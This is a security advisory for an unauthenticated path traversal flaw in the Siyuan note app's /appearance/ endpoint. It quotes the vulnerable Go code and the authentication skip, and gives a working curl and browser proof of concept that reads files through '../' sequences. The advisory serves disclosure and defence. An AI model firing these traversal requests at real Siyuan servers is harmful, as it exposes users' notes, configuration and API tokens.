GHSA-hhgj-gg9h-rjp7
Siyuan has an Unauthenticated Arbitrary File Read via Path Traversal
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | github.com/siyuan-note/siyuan/kernel | <= 0.0.0-20260317012524-fe4523fff2c8 | no fix listed |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
The Siyuan kernel exposes an unauthenticated file-serving endpoint under **/appearance/*filepath.**
Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process.
Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials.
## Details
Vulnerable Code Location
**File: kernel/server/serve.go**
``` sh
siyuan.GET("/appearance/*filepath", func(c *gin.Context) {
filePath := filepath.Join(
appearancePath,
strings.TrimPrefix(c.Request.URL.Path, "/appearance/")
)
...
c.File(filePath)
})
```
**Technical Root Cause**
The handler constructs a filesystem path by joining a base directory (appearancePath) with user-controlled URL segments.
**Key issues:**
**1. Unsanitized User Input**
The path component extracted from the request is not validated or normalized to prevent traversal.
``` sh
strings.TrimPrefix(c.Request.URL.Path, "/appearance/")
```
This preserves sequences such as:
``` sh
../
..\ (Windows)
```
**2. Unsafe Path Joining**
**_filepath.Join()_** does not enforce directory confinement.
This escapes the intended directory.
**3. Direct File Serving**
The resolved path is served without verification:
``` sh
c.File(filePath)
```
### Authentication Bypass (Unauthenticated Access)
Authentication middleware explicitly skips /appearance/ requests.
**File: session.go**
``` sh
if strings.HasPrefix(c.Request.RequestURI, "/appearance/") ||
strings.HasPrefix(c.Request.RequestURI, "/stage/build/export/") ||
strings.HasPrefix(c.Request.RequestURI, "/stage/protyle/") {
c.Next()
return
}
```
This allows attackers to access the vulnerable endpoint without a session or token.
### Exploitation Scenario
A remote attacker can craft a URL containing directory traversal sequences to read files accessible to the Siyuan process.
Example request:
```
GET /appearance/../../data/conf.json HTTP/1.1
Host: target
```
Because authentication is bypassed, the attack requires no credentials.
## PoC
**Step 1 — Create marker file**
```
mkdir -p ./workspace/data
echo POC_EXPLOITED > ./workspace/data/poc_exploit.txt
```
**Step 2 — Run SiYuan container**
```
docker run -d \
-p 6806:6806 \
-e SIYUAN_ACCESS_AUTH_CODE_BYPASS=true \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan \
--workspace=/siyuan/workspace
```
**Step 3 — Confirm service works**
Open in browser:
``` sh
http://127.0.0.1:6806
```
### Exploit PoC
**Method A — using CURL command**
Use --path-as-is so curl does NOT normalize ../.
``` sh
curl -v --path-as-is \
"http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt"
```
**Output**
``` sh
HTTP/1.1 200 OK
POC_EXPLOITED
```
**Method B — Using Browser**
``` sh
http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt
```
If **method B** is not working, use **method A**, which is CURL command to do the exploit
### Impact
An unauthenticated attacker can read arbitrary files accessible to the server process, including:
- Workspace configuration files
- User notes and stored data
- API tokens and secrets
- Local system files (depending on permissions)
This may lead to:
- Sensitive information disclosure
- Credential leakage
- Further compromise through exposed secrets
References
External links from the advisory. They lead to third-party sites.